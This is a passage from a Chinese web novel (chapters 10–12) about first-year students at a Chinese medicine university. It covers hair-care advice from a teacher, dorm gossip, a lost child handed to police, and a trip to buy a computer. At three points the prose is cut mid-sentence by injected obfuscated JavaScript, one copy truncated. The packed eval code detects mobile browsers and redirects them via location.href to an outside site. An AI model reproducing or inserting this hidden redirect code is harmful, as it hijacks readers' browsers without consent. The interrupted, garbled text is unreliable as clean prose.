倒是老师很贴心地给她解围:“咳咳……不要笑,不要笑,爱美之心人皆有之嘛。” “你用什么梳子梳头?”她笑眯眯地问艾青禾。 艾青禾眨眨眼,顾不上继续尴尬,“就是普通的梳子,塑料那种,一头尖尖的。” “那你再买一把吧,檀木的最好,不然桃木也可以,要选梳齿比较宽,头比较圆润的,可以按摩头皮。”老师说着抬手点点她的头顶,“这里是百会穴,每天按摩几分钟,可以提升阳气、促进头部血液循环,增强抵抗力,防脱生发。” 同样的还有角孙、翳风、风池、玉枕等穴位。 老师在艾青禾脑袋上戳了几下之后,又指指她的腿,“去买个按摩锤,晚上玩手机看综艺的时候就敲一下胆经,就这一条。” 叽里呱啦又是一串穴位名称。 最后说:“当然啦,更重要的是要规律作息,不要熬夜,如果没有特别的事,我每天都是十点就睡了哦,饮食有节,适当吃一点黑芝麻啦黄精啦之类,养养生嘛。” “这都是贵在坚持,三天打鱼两天晒网可不行。”老师笑眯眯地嘱咐她,“买梳子要记得买无漆无蜡的。” 最后还推荐:“我们学校开有《中医养生学》的任选课,感兴趣的话到时候可以选来听听看。” 穴位记不住也不要紧,下个经络穴位图解的app对照着来用就好啦。 “哇——” 几个还没怎么见过世面的小家伙发出震惊的赞叹,连连点头说一定一定,满眼都是崇拜濡慕的光。 老师大概是被她们可爱到了,她揉揉艾青禾的头顶,哈哈笑了一下:“其实还有一个原因,就是我经常跟年轻人待在一起,你们像早上的太阳,朝气蓬勃,充满希望,是很容易感染人的。” “年纪大的人都喜欢跟你们这些小朋友在一起。”她眨眨眼,语气有些揶揄,“这就是为什么年长的男性喜欢找小姑娘谈恋爱。” 啊!还是第一次听到这种话! 这种言论等她们充分接触社会和网络之后一定不会觉得奇怪,但在刚刚脱离父母监管和封闭的中学年代,开始接触成人世界的艾青禾她们看来,是新鲜又大胆的。 这位才第一次见面的老师,无意中成为了她们的引路人。 师生几个在通往校内天桥和药科楼的岔路口分开。 艾青禾这时才发现,旁边不知什么时候多了严自恒他们一行人。 严自恒很好奇:“你们跟老师聊什么呢,怎么听着像是梳头?” “是啊,就是向老师请教怎么梳头。”艾青禾点点头,“你不觉得老师的头发很好看吗?” 几个女孩子开始你一句我一句地转述老师传授的心得,才说了没一会儿,赵凡就嚷嚷起来:“等等。” 他一把拽开孟彦卿,又挤到艾青禾和严自恒之间,笑嘻嘻道:“你们再说一遍呗,我记一下,回头告诉我妈,我妈前儿才说长白头发了。” 孟彦卿被他拽了一把,无语地让了一下,跟陈嘉渝肩并肩走在他们后面,讨论周末的安排。 “赵凡他们去电脑城配电脑,你呢?” 孟彦卿倒是从家里带了电脑来,闻言想了想:“也去呗,进城开开眼界。” 10. 第十章 正式上课第一天的下午是《医学生物学》,从下午两点一直上到四点二十,整整三节课。 老师讲得很好,而且第一节课嘛,通常都是讲《绪论》之类比较笼统的东西,让学生们对这门课有个大体的印象。 不管是对老师还是对学生,第一节课都是比较舒服的。 就是时间太长了,连上三节课,听了几个小时的细胞越说、□□学说、医学生物学的发展和应用,艾青禾只觉得脑子涨涨的。 下课了都还有点没反应过来,连杨梦津跟她说话都没听到。 直到被杜清谷拍了一下:“发什么呆呐?” “……啊?没、没什么。”艾青禾回过神,声音有些有气无力,“你们刚才说什么来着?” “我们说一会儿去街上吃饭,你去不去?”杨梦津重复刚说过话。 继续道:“我想顺便去看看有没有兼职可以做。” 艾青禾一愣:“你要做兼职啊?” “是啊,挣点零花钱。”杨梦津大大方方地解释道,“家里给的生活费是有数的,想过得舒服点就自己挣咯,我弟妹读书也要花钱呢。” 虽然还没听她细说过家里的情况,但从报到那天见到的她的爸爸身上,还有这两天她的生活习惯,大家都能察觉她的家庭条件应该是不太好的。 所以想去做兼职实在正常不过,而且是一个值得支持的决定。 唯一顾虑是:“会不会不安全啊?万一遇到骗子怎么办?” “学校里有没有勤工俭学的岗位可以申请啊,要不要问问导员?” 杨梦津摸摸鼻子,“学校有勤工岗位,我问过导员了,食堂,还有一商对面的勤工驿站,一个小时八块钱,而且竞争还比较大,所以我想先去外面看看,万一……时薪能高一点咧?” “有道理,那就去看看。” 闻婧说:“看看有没有肯德基麦当劳这种的,应该比私人的靠谱一点。” 杜清谷问:“是不是也可以做家教?” 艾青禾这下不困了,脑子也开始转了,问杨梦津哪门功课比较好。 一路说一路走,刚回到宿舍,她便收到白晓绪师姐的信息,说帮她们问到洗衣机的消息了。 【是经管学院的一个大三师姐的,她们宿舍几个人一直闹矛盾,这个学期终于要换宿舍了,洗衣机是她们入学的时候合伙买的,现在不住一起了要卖掉,开价二百八,才用了两年,保修期刚过,能接受吗?】 这么说来艾青禾她们也真是碰巧了,有几分运气。 二百八简直就是贱卖! 艾青禾跟闻婧她们一说,大家想都没想就同意了。 同时还很好奇这个师姐的宿舍为什么会闹矛盾,是因为生活习惯无法互相迁就,还是因为别的? 可艾青禾问了以后,白晓绪很久都没回复,对话框顶端倒是时不时就出现“对方正在输入…”,像极了一个人在欲言又止。 她有理由怀疑自己问了一个很不合时宜的问题,所以师姐不知道该说什么才好。 但问都问了,她也没办法撤回说过的话,只好强行当做无事发生。 正好闻婧提醒大家:“导员发了新通知,要做心理测评和填中医体质量表,大家赶快趁现在没什么事登录网站做了吧。” 忘了说,闻婧现在是她们宿舍的舍长了。 选她的理由非常离谱:她是全宿舍第一个到的——说白了就是其他人都不想干:) 杨梦津说高中就是舍长,经常要调节室友之间的矛盾,觉得心很累,再也不想干这种事了。 艾青禾跟杜清谷就是纯粹的懒惰。 闻婧觉得她们好离谱,还没来得及抗议,艾青禾就已经抢着在班群的统计表里填上了她的名字,让一切就此成为定局。 两份测试问卷的题目都相当多,做完已经是半个小时后了,提交问卷后退出网页回到跟师姐的聊天页面,艾青禾发现师姐发了好长的一段信息过来。 【具体情况有点复杂,我尝试一下看能不能说清楚[憨笑]就用ABCD来指代那个寝室的四位师姐吧[愉快] 你知道的,我们省很多地方的方言跟容城话很像,但又有不小区别,一般是以容城的为正音,她们宿舍四个人都是本省的,AB都是容城本地的,CD分别来自别的市,一开始AB就抱团,笑话CD的话有口音,很土,D通过送她们礼物和帮她们做事,比如拿快递啦打饭啦之类,得到她们的接纳(但我们都觉得也有可能是想拉拢D彻底孤立C)。 A的男朋友和C都在同一个社团,A有时候会和男朋友提起C,还会在宿舍秀恩爱(真不知道咋想的不知道秀恩爱死得快吗),上个学期不知道为什么,A突然怀疑C跟她男朋友有点什么,几次三番为难C,期末的时候她跟男朋友分手,上个月她们提前返校,C是跟A的前男友一起来的,据说那天A在她们宿舍吵得很厉害,我昨天问青协的师姐知不知道谁最近要出洗衣机的,师姐顺让我问问B,她们要换宿舍了,so……[你懂的.jpg]】 艾青禾看完,先是愣愣地眨眨眼,随后发出一声惊呼:“哇哦!” 闻婧三人被她的声音吸引,一起扭头看向她,问发生了什么事。 “还是说看到了什么让人震惊的大事?” 杜清谷还猜:“不会是哪个明星又官宣了吧?” 乐坛天后今天刚官宣离婚,点爆全网,直接冲上热搜第一,这才过了半天不到,应该不会再来这么劲爆的消息吧? 艾青禾摇摇头:“不是,是洗衣机的事……” 她低头看一眼长长的信息,哎呀一声:“我转发到群里你们自己看吧。” 将师姐的信息转发到宿舍群里时,她还忍不住心里嘀咕,难怪师姐这么久不回信息,吓死她了,还以为说错话了呢。 同时不忘打字回复师姐:【怎么这么吓人,这不是校园暴力吗[惊恐]】 白晓绪:【是的,都什么年代了,居然还有用口音来嘲笑别人,难道她的普通话已经播音员水平了吗[无语]】 对于事件中的D,她们倒意外的看法一致,没什么可愤慨的,她只是不想被欺负而已——虽然不知道她有没有如愿。 不过俩人毕竟刚认识,关系还没好到可以一起大肆吐槽同一件事同一个人的程度,聊了两句就转到正事上,约好明早她过来307找她们,带她们去拿洗衣机。 艾青禾咬着手指甲犹豫了一下,还是问道:【师姐可以后天吗?我明天要进城买电脑。】 是的,因为大学城所在的小杨庄离容城市区太远,搭地铁都要两个多小时那种远,所以大家都管去市区叫进城。 白晓绪:【你宿舍有其他同学在吗?只要有一个人就行,我找两个男生帮你们搬上去[偷笑]】 “我去,这太吓人了,是来上学的,还是来搞小团体的?” “关键是这种小团体有什么好处吗?又不像职场,有利益关系或者派系之分。” “呃……满足虚荣心?” “还别说,我高中就有这样的,有一小撮人抱团欺负某个同学,领头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004266|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的通常是比较混的那种,他们很享受那种被人吹捧的感觉,嗤,还真以为自己是个人物了。” “不过说回咱们这个师姐的宿舍,我觉得还不如搞好彼此之间的关系呢,万一同一个宿舍里有人飞升了……” 杜清谷家是从政的,耳濡目染懂得多,刚要发表自己的见解,就听艾青禾道:“大家先暂停讨论,听我说——” 话题立刻中断,三双眼睛一起看向她。 艾青禾飞快的将去拿洗衣机的事告诉大家,询问要怎么安排。 “我没什么事,就在宿舍等师姐吧。”杜清谷立马举手。 最后的安排,是她和杨梦津留在寝室等着同师姐汇合,去将洗衣机拿回来,闻婧则是约了陈嘉渝一起,去自行车行看自行车,艾青禾则是去买电脑。 ——她是宿舍唯一一个还没有电脑的人,就连杨梦津,也是带了电脑来的,据说是她在外打工的表姐送给她的大学礼物。 将买洗衣机的钱转给杜清谷,几个人就出门觅食去了。 小杨庄大学城占地面积很大,塞进了十二所高校和一个高新科技科研中心,加上原住民和医院、博物馆之类的配套设施,常住人口几十万,而且这个数字还在不断增加,因为高校年年扩招。 要满足这么多人的日常所需,没几个商业区可不行。大学城三个商业区,其中之一就在容中医旁边。 艾青禾和室友们穿过隔壁外语学院毫无围墙阻拦的生活区,就进入了商业区的主干道。 动感激昂的音乐声裹挟着铁板鱿鱼的白烟氤氲了路灯光,也刺激着年轻人的唾液腺。 酸辣粉、炒粉炒面、酱香饼、寿司、炸鸡、奶茶、烧烤、小炒,咸骨粥和东北饺子紧挨着……放眼看去,四处都是好吃的,不仅有一间又一间的馆子,还有仿佛一眼望不到头的路边摊。 杨梦津刚问了一句吃什么,艾青禾就已经蹿出去。 她乐颠颠地跑到一架装着好几个不锈钢保温大桶的三轮车面前,“爷爷,我要一杯冰的海带绿豆沙。” 说完扭头问其他人:“你们吃不吃糖水?有……” 她看向三轮车上挂着的牌子,开始报菜名:“绿豆沙红豆冰椰汁西米露芝麻糊……” “我不要绿豆沙,你们的绿豆沙里有海带的,我受不了。”杨梦津立刻摇头。 艾青禾跟闻婧同时露出一个真是个没品的家伙的表情。 买完糖水,四人找了一家吃鸡公煲的店,就在肯德基旁边。 “一会儿吃完饭去隔壁问问招不招兼职?”闻婧问道,将筷子反过来敲了一下艾青禾偷偷想伸进锅里的筷子,“等一下,服务员说还要再煮五分钟你忘啦?” 艾青禾立刻装作无事发生地转移话题:“我们英语和体育课怎么上啊你们知道吗?” 课程表里的英语课分为听说和读写,周一上午的听说课后面还有(双周)的标注,“单周就不用上咯?那岂不是可以睡懒觉?” “英语课怎么分班,按学号?”杨梦津接着问。 “等通知咯,可能一会儿就有通知来了。”闻婧摇摇头。 杜清谷这时提醒大家五分钟已经到了,可以开吃。 等她们吃完饭,又跑去隔壁肯德基打听完兼职的事,还没等到具体的上课安排,就先在一家咸骨粥店门口碰到了同样是整个宿舍一起出来吃饭的孟彦卿他们。 最让人疑惑和惊讶的是,孟彦卿手里还牵着一个扎羊角辫的小姑娘。 艾青禾脱口就问:“孟彦卿,你们去哪儿偷的孩子?” 11. 第十一章 “什么叫我们偷的孩子?这话也太难听了!” “你有证据吗,屈打成招是吧?我申请律师辩护!” “哎哟喂,咱可真是冤出大天儿去了!天地良心,这孩子真是我们捡的!” 艾青禾的话简直是一石激起千层浪,613众人连连喊冤,一人辩解一句。 只有牵着孩子的孟彦卿没出声,甚至拉着小朋友往另一边挪了两步,一副离这群神经病远一点免得孩子被传染的无语表情。 艾青禾听室友哈哈笑了一会儿,才耸耸肩问道:“好吧,那……你们哪儿捡的孩子,她家长呢?” 她看向孟彦卿。 孟彦卿摇摇头,叹口气解释道:“我们刚才在那家店吃饭,吃完饭出来买点水果,在水果摊旁边看到她。” 说着扭头往左边看过去,抬抬下巴。 艾青禾望过去,那边确实有个水果摊,就在树边,是那种卖果切的,陈嘉渝手里着拎着一个透明塑料袋,里面装着一盒水果。 “她一个人站在树根底下,我们还以为是水果摊老板的小孩,一问,居然不是,老板也不知道她哪儿来的,在那儿站半天了。”严自恒说起当时的情况,两手一摊。 “她家大人呢?”杜清谷打量着孩子的衣着和脸蛋,都是干干净净的,“不会是走失的吧?” 艾青禾顺着她的话朝那孩子看过去,脸上是干净的,衣服很整洁,眼睛里丝毫没有和一群陌生人待在一起的害怕和紧张。 反而充满了兴奋和好奇。 这很不合常理,艾青禾觉得很不对劲,难道小孩不都被教育在外面要小心陌生人的吗? 而且她看起来才五六岁大,这个年纪的小孩子出门那么久,没有家长陪同,是一件十分危险的事。 难怪孟彦卿他们守在这儿不敢离开。 “那你们要在这儿等她家长来接吗?”艾青禾忙问道。 孟彦卿一脸头痛地摇摇头:“不知道……她不肯说话,叫什么名字、为什么在这里、家里人在哪儿、记不记得家里人的电话号码……问什么都不说。” “……那你们不报警,站在这儿干什么?”杨梦津不解地问道,“等天上掉她的家长下来?” 男生们:“……” 他们像是现在才智商上线,陈嘉渝连忙掏出手机打110,向接线员报告具体的位置。 等民警过来的时候,艾青禾尝试着跟小孩搭讪:“宝宝你吃饭没有呀,肚子饿不饿?” 小朋友抬头望着她,眨眨眼,抿着嘴巴不吭声。 艾青禾接着问:“吃不吃酱香饼啊?或者鸡翅包饭?啊,果汁喝不喝?你渴不渴呀?” 她叽里咕噜说一大通,小孩还是不应声。 但她嘴巴不应没关系,她肚子会说话呀! 艾青禾刚说完没一会儿,就听见两声咕噜声响起,夹杂在热闹的音乐和人声里,显得有些微弱。 但她离得足够近,很明确的听见了,忍不住哈哈笑了一下:“你饿了是不是?” 边问边伸手摸摸她的脸,小家伙立刻噘起嘴别过头去,一副被戳穿以后感到很懊悔的样子。 孟彦卿见状也忍俊不禁,捏了一下抓在手里的小孩手,忍笑道:“我们去买点吃的?走吧,买酱香饼。” 因为酱香饼摊子就在他们身后,这孩子毕竟不认识的,又是异性,他也不好带她走太远。 他转身拽了一下,没拽动,小孩站在原地,像是故意跟他反着来。 艾青禾见状在小孩背后轻轻推了一下,笑嘻嘻道:“见者有份吗?我也想吃。” 小孩没防备,脚下一松,就被他们带着到了酱香饼摊前。 “要酱香饼吗?十块一斤,要多少?”老板笑眯眯地招呼他们。 孟彦卿扭头问艾青禾:“我们八个大人一个小孩,能吃多少,一斤?” 妈呀,这问题问她,她也不知道的啊!艾青禾摇摇头:“不知道?两斤?” 一看就是没有什么生活经验的,对一斤酱香饼有多少心里完全没数。 老板哭笑不得地给他们出主意:“你们吃晚饭没有?” 俩人一起点点头,艾青禾又立刻手指往下指指小孩头顶:“她应该没吃。” 他们之前一直站在饼摊前面的路边,老板一早就注意到他们了,知道这小孩是这几个男生在旁边捡的,几个女生后来,看样子他们是同学。 便了然地点点头:“那就先切十块的咯,先吃,不够再要嘛,多了吃不完会浪费。” 俩人听劝地点点头,让老板分成三份,艾青禾还去旁边要了一杯芒果汁。 刚拿到,出勤的民警过来了——街道派出所的警务室就设在外语学院的生活区里,银行对面,离得近,当然来得快。 民警同志被七八个十七八岁的少年人围住,七嘴八舌地说着事情始末,一时竟然不知道该怎么记。 还是杜清谷觉得这不行,指指赵凡和严自恒道:“你们两个别说话,让陈嘉渝或者孟彦卿说。” 她忍不住吐槽:“你说他也说,你让警察叔叔听谁的呀?都给我闭嘴!” 连要给他们做笔录的民警都忍不住笑起来。 旁边渐渐有路人驻足围观,大家也顾不上觉得不好意思,赶紧把情况说了,将孩子交过去,顺手将买的酱香饼和水果都塞给小孩。 然后一行八个人说说笑笑的回了学校。 等艾青禾洗漱好,开始吹头发的时候,孟彦卿来信息了。 告诉她:【刚刚派出所来电话说了后续,小朋友交代自己是偷偷从家里跑出来玩的,她家就在附近的小杨村,警方已经联系到她家长了,家里人在去接她的路上。】 政府在修建大学城的时候,还保留了几个自然村,小杨村就是其中之一。 艾青禾好奇:【她怎么自己偷跑出来?】 孟彦卿:【因为作业没写好被妈妈骂了,决定要离家出走让大人后悔[尴尬]】 艾青禾:“???” 她觉得实在搞笑,立刻将这后续分享给其他人。 大家听了就说,果然是小孩子才会做的事,简直是杀敌三千自损八百,这下好咯,回去以后说不定还要挨一顿揍。 但话又说回来,谁不是从那么小的时候过来的呢。 闻婧边笑边说:“我小时候有过那种时候,就是被家长骂了之后,就把自己锁在房间里,决定以后变成一个冰冷的学习机器,再也不会笑了,绝不,我要让大人内疚一辈子!” 艾青禾连连点头:“然后等听到喊吃饭,就默默出去拿碗盛饭盛菜回自己屋吃,吃完再把碗送厨房,过两天又自己好了。” 说完她跟着大家一起大笑起来,觉得小时候的事真的很有意思。 一直到十点半307熄灯,她们才收到班群里的通知,关于英语课分班和体育课选课的。 “英语分班是按学号分的,我和婧婧在一个班诶。”艾青禾在床上翘着二郎腿,隔着床帘跟大家说话,“梦津和清谷在哪个班啊?” 这学期两个班的英语课时间是一样的,她们俩的学号之间可隔了不少人,杜清谷都直接分到最后一个班去了。 “问题不大,下个学期会按成绩再分班,我们努力一下,还可以分到一个班的。”闻婧淡定地道。 接着说:“你们体育课想选什么?” 容中医和容城部分高校一样,体育课是分选修和必修的,必修是游泳,选修则五花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004267|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八门什么都有,三大球和网球羽毛球乒乓球自不必说,还有武术、太极、健美操、体育舞蹈、跆拳道之类。 大一开学选一次,接下来两年都上这门课,至于必修的游泳课,那是天气暖和时可以下水才上的。 但艾青禾看完之后说:“我哪个都不想选,可以只上游泳课吗?” “有呀,选修也有游泳,你选呗。”杜清谷道,“我要选健美操,或者体育舞蹈也行。” 闻婧想选乒乓球,“我高中就练过,这个有基础,应该考试比较好过。” 至于杨梦津,“不知道选什么,什么也不懂哇,以前净死读书了,要不……选太极?好歹咱是学中医的呢。” “那我也选这个。”艾青禾立马就改了主意,“我想有个伴一起去上课,学什么都行。” 她有点慌,别看她这几天过得很开心,但她知道的,自己其实还是没有适应新环境,很害怕去到一个谁都不认识、没人能一起说说话的地方。 杨梦津一口答应道:“好啊,那样我们还能一起练习呢,互相纠正对方的动作。” 她们约好等艾青禾晚上回来再一起选课,“或者明天白天也行,反正到明晚十二点才结束。” 接着她们又说起杨梦津的兼职,晚上吃晚饭从鸡公煲店出来之后,她们去了旁边的肯德基。 不好意思上去就问人家要不要兼职,几个人还点了点小食,趁着等出餐时,遮遮掩掩地旁敲侧击打听人家晚上有几个服务员上班。 结果人家见多识广,直接就问同学你是想找兼职吗,等等嗷我问一下店长。 虽然囧囧的,但最后结果还行,店长答应明天来面试一下杨梦津。 “津啊,你发财了可别忘记姐妹们啊。”杜清谷笑嘻嘻地道,“苟富贵,勿相忘。” 艾青禾听到这里,想附和一句,但话到嘴边,突然忍不住打了个哈欠。 睡意来得突然又强烈,一下就让她忘了想说的话。 宿舍里渐渐安静下来,起初外面走廊上还偶尔有脚步声传来,慢慢也没有了,变得更加安静。 整个生活区都沉浸进睡梦里,静待明日光临。 艾青禾被楼下的拍球声吵醒时天应该刚亮没多久,她看着床顶有点怔怔的反应不过来,还在想家里什么时候换了蚊帐。 过了一会儿,等听到闹钟的声音突然出现,她才回过神来,哦哦,已经开学啦,她现在是在学校! 她摁掉闹钟,坐起身,听见蚊帐外有动静,便探头出去看看是谁起了。 结果看见杜清谷正披头散发的下床,长长的头发垂下来,挡住她起码三分之二张脸,真的很像那个谁。 她的“早上好”一时就说不出口了,变成:“……鬼、鬼啊!” 杜清谷:让人无语.jpg 艾青禾洗漱完,八点半已经过了,杨梦津和闻婧去了食堂,杜清谷正准备看昨晚更新的亲子综艺。 接到林明晖的电话召唤,艾青禾同她说了声晚上见,便背上书包一溜烟走了。 一见面,林明晖就先把手里的面包豆浆递给她,“喏,早餐。” 艾青禾接过,一面听他问这几天过得习不习惯,一面跟着他一起往公交站走,边走边啃包子。 科大食堂的鲜肉包面皮暄软,带着淡淡的甜味,内馅团成一颗肉球,还有汤汁呢,吃起来很香。 公交站很近,就在宿舍楼后面,这大概是住在偏远地区唯一的好处。 “中午去吃牛肉火锅怎么样?还是你想吃猪脚饭?” “……不要猪脚饭!”艾青禾无语,“你能不能大方点!” 兄妹俩拌着嘴刚走到公交站台,就听有人问:“艾青禾,你也出去啊?” 12.第十二章 大清早的公交站台看起来冷冷清清,只有五个人。 艾青禾跟林明晖兄妹俩,孟彦卿和赵凡、严自恒三人。 但严自恒多能侃啊,他一开口,气氛顿时就热闹起来:“艾青禾你这么早去哪儿啊?” 一边问还一边往她旁边瞥。 艾青禾立马就想起报到那天被杨梦津误会她和林明晖关系的事,赶紧解释:“我哥带我去买电脑。” “这么巧,我们也是去买电脑。”严自恒高兴地问,“你们去哪儿买?” 艾青禾哪儿知道去哪买,她今天就是当个挂件的,当即扭头去看林明晖。 “融创中心那边。”林明晖道,“那边好几个电脑城,我们先去寰宇电脑城,你们呢?” “我们也是去那儿。”赵凡回答道,“我在网上查了,说那儿是容城最大的电脑城。” 林明晖点点头,肯定了他的说法:“确实是,大部分人的电脑都是在那儿配的。” 话音刚落,公交车来了,艾青禾连忙将塑料袋扔进旁边的垃圾桶,跟在大家后面上车。 时间还早,车上人不多,刷卡找位置坐下后,艾青禾这才扭头问后面的孟彦卿他们:“你们体育课选什么呀?” “我跟老赵都选网球。”严自恒应道,“老孟应该选武术吧,你呢?” 艾青禾刚要回答,就听孟彦卿道:“我打算选排球。” 除了第一次见面的林明晖,其余人都很惊讶:“你怎么不选武术?你强项啊。” “对呀,闻婧要选乒乓球,因为本来就会,那样考试就好过了。”艾青禾举例说明。 孟彦卿摇摇头:“上课不是比赛,我想学些我不会的,而且我跟同乡会的师兄师姐打听过,排球的考核也不难,就是考基础的发球击球之类,教排球的几位老师都不错,不会给学生多少压力。” 他还说了个理由:“排球场就在校内天桥旁边,离生活区近,放学了去吃饭能跑快点。” 艾青禾忍不住拖着声哦了一声,好有道理! 饭点的时候食堂人可多了! 孟彦卿被她的反应逗笑,问道:“你选什么?” “我跟梦津约好一起选太极。”艾青禾摇摇头,“我也不知道选什么才好。” “太极很简单,有手就行。”孟彦卿道。 艾青禾撇撇嘴:“你会你当然这么说了。” 孟彦卿刚要辩解,就见她哥哥突然也转过头问:“你们什么时候选课?明天?” “今天中午十二点啦。”艾青禾忙应道。 “中午十二点……那你们打算什么时候选?”林明晖看着他妹一脸天真的样子,心里有种不妙的预感。 艾青禾咬着豆浆的吸管应道:“晚上回来再选呀,要是断网了就明天。” 林明晖顿时面露无语:“……我就知道、得亏我问了,你们知不知道一个班的名额是有限的,要是满了,你们就选不上了?” 他吐槽艾青禾:“要是到时候没选上心仪的,只能去上你学都学不会的篮球足球,你就知道哭了。” 艾青禾一愣:“……啊?真的假的?” 林明晖翻了个白眼,口出狂言:“假的我倒立吃屎。” 噫!那不得不信了! 可是怎么办呢?艾青禾眼巴巴地看着他:“那……我们现在回去?” 话音刚落,车停了,提示到了地铁站。 林明晖催她下车,“这世上有网吧这种东西的,进城以后带你去见见世面。” 艾青禾哦哦两声,不忘回头招呼同学:“你们要一起吗?” 后面三个人松口气,立即点头,废话,过来人带路,他们傻了才拒绝! 于是本来只有兄妹二人的行程,变成了五个人的集体行动。 林明晖有心替艾青禾攒人情,主动问道:“你们是几个都要买电脑?有没有什么配置上的要求?” “没有,就老赵要买,我们俩是跟着出来见世面的。”严自恒搭着孟彦卿的肩膀笑嘻嘻地应道。 孟彦卿点点头,解释道:“大家都是初来乍到,暂时还是一起行动比较好,万一……也好有个照应。” 看起来是个很沉稳很靠谱的性子,林明晖点点头表示赞同,笑道:“我大一的时候,室友就是周末自己去玩,结果回校的时候迷路,连自己具体在哪儿都说不清楚,身上又没钱了,最后还得辅导员去接,人多确实更好点,凡事有人商量,哪怕是壮壮胆也好。” 他说完又问赵凡关于配置的问题,赵凡摸摸后脑勺道:“我有笔记本,现在是想攒一架台式机,能写编程跑代码就行。” “……你们专业也要学编程?”林明晖惊讶,不对,你们不是学医的吗? “个人兴趣爱好而已。”赵凡爽快地一挥手,“我们家是做这一行的,我打小儿就接触这些。” 林明晖看一眼他身上的牌子货,问道:“预算多少?” 他立刻就表示:“上不封顶,好用就行。” 这是个少爷,林明晖笑起来,“那可太好办了,比你们到时候抢体育课还简单。” 大家被他这句调侃揶揄得想笑又不太好意思笑。 刷卡进了站,艾青禾一时不知道该往那边走,想问林明晖,他正跟赵凡聊京市的事,刚想打断,就听孟彦卿的声音在耳边响起:“左边,往樟岗方向。” 艾青禾连忙抬头看一眼站牌,确定他说的没错,这才转向。 “我们坐到哪个站?”她仰头看着路线图问道。 “到鹭港站换乘4号线,到购书中心站下,出站就到我们目的地了。” “你怎么知道得这么清楚,你去过啊?”艾青禾疑惑地转头看他。 孟彦卿摇摇头:“昨晚提前查了一下路线。” 艾青禾表示怀疑:“你查过一次路线,就能记住了?” “……这不是很容易记住的吗?”孟彦卿也很疑惑,“记住往哪个方向,要不要转车,哪个站是终点站……就可以了?” 说得轻巧,艾青禾却不太敢信,但她哦了声,什么也没说。 倒是孟彦卿记起来那天在食堂门口看到的她拿着手机导航都手忙脚乱的样子,也有些拿不准主意了。 他想了一下,从书包里翻出一张卡片,递给艾青禾:“这个你应该用得上。” “这是什么?”艾青禾疑惑地接过。 只见卡片上几条不同颜色的线交错纵横,犹如一张巨大的蜘蛛网,一边印着“容城地铁轨道交通图”的字样。 她忍不住哇了一声:“这么好的东西,你哪儿来的?” “开学报到那天我二师兄给我的,说是上个月有银行搞地推发的,他觉得我用得上,就要了一张。”孟彦卿解释完来历,低头在她手里的卡片上找了一下,“喏,我们现在在这个位置,大学城南站,蓝色的。” 接着再一指,“要去容城购书中心站,黄色的,蓝色和黄色在这里交汇,就是鹭港站。” 他说得仔细,加上又是图片这么直观的表现形式,艾青禾当然一下就看懂了,边听边点头:“这样看起来好方便。” “不过……”她有些犹豫,“给我了你用什么?要不我还是用手机拍一下吧,那样看也方便。” “没关系,我觉得、嗯……你可能更用得上。”少年人还没学会日后的圆滑委婉,表达起自己的意思来就有点磕巴,生怕话说得不对会伤人自尊,“我看手机导航就可以……呃、我的意思是,也不常用,或者……到时候我再问我二师兄要就是了……” 艾青禾也没想过他会知道自己方向感不好的事,只当他是好心,心里一面感慨难怪都说出门靠朋友呢,虽然她也不知道跟孟彦卿算不算是朋友了……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007036|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但这个同学还是很不错的嘛,值得来往! “谢谢你。”她双手合十,把那张卡片夹在两掌之间,认认真真地道谢,“我会好好保管和使用它的!” 这样的口吻让孟彦卿莫名觉得有点中二,他眨眨眼忍住差点发出来的笑声,“……好。” 但应完还是忍不住笑着将头转开,说实话,他心里其实很高兴,任何人看到自己给出的东西被郑重对待都会这样,虽然明知这样东西很普通很不值钱。 一阵呼啸声由远及近,很快车门就打开,上的人是绝大多数,艾青禾跟着人流往里走。 根本没有空位可以坐,大概是周末的关系,而且很多都是年轻的脸孔,看样子都是大学城的学生,周末出门去玩是在再恰当不过。 走在前面的孟彦卿找到一个靠着车门边的角落,刚转身,就看见艾青禾正一手抓着扶杆,一手抓着她哥哥的袖子,努力在拥挤的人群里站稳。 但四周都是人,她个头也不高,被人群围着看上去像要被淹没了似的,加上她似乎没反应过来,神色茫然,看上去更可怜了。 孟彦卿刚想叫她,就跟她对上了眼神,到了嘴边的话顿了一下,才道:“这有个位置,应该好点,来么?” 艾青禾闻言立刻抬头去看林明晖。 林明晖点点头,提醒她:“书包背到前面来,上个学期我的书包就在公交上被人划了,幸好没丢东西。” 艾青禾一听这话,立刻就松手赶紧往孟彦卿那边靠了,他那边都是自己人,对自己的新书包肯定更安全! 离开人挤人的地方之后,她觉得呼吸都顺畅不少,背后是车厢壁,旁边是座椅的挡板玻璃,另一边虽然也有人,但因为正好是车门,大家也不会往这边挤。 而孟彦卿站在她面前,高挑的少年正好帮她挡住了最后一个方向的乘客。 